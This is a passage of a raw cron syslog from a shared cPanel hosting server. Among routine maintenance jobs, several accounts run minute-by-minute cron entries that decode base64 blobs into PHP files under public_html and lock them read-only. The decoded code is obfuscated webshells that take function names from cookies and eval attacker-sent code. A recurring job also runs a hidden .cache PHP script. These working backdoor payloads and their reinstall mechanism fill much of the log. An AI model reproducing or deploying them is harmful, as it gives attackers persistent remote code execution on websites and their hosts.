SAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:13:01 medusa CROND[31066]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:13:01 medusa CROND[31070]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 11:13:01 medusa CROND[31071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:14:01 medusa CROND[32533]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:14:01 medusa CROND[32534]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:14:01 medusa CROND[32532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:14:01 medusa CROND[32536]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:14:01 medusa CROND[32537]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:14:01 medusa CROND[32541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:14:01 medusa CROND[32544]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:14:01 medusa CROND[32547]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:14:01 medusa CROND[32546]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:14:01 medusa CROND[32561]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 11:14:01 medusa CROND[32563]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:14:01 medusa CROND[32564]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:14:01 medusa CROND[32565]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:15:01 medusa CROND[1873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:15:01 medusa CROND[1875]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:15:01 medusa CROND[1878]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:15:01 medusa CROND[1876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1874]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:15:01 medusa CROND[1880]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:15:01 medusa CROND[1881]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:15:01 medusa CROND[1882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 11:15:01 medusa CROND[1884]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1887]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:15:01 medusa CROND[1890]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:15:01 medusa CROND[1879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:15:01 medusa CROND[1893]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1895]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:15:01 medusa CROND[1898]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:15:01 medusa CROND[1902]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:15:01 medusa CROND[1899]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1889]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:15:01 medusa CROND[1907]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:15:01 medusa CROND[1910]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:15:01 medusa CROND[1920]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:16:01 medusa CROND[3372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:16:01 medusa CROND[3374]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:16:01 medusa CROND[3375]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:16:01 medusa CROND[3376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:16:01 medusa CROND[3373]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
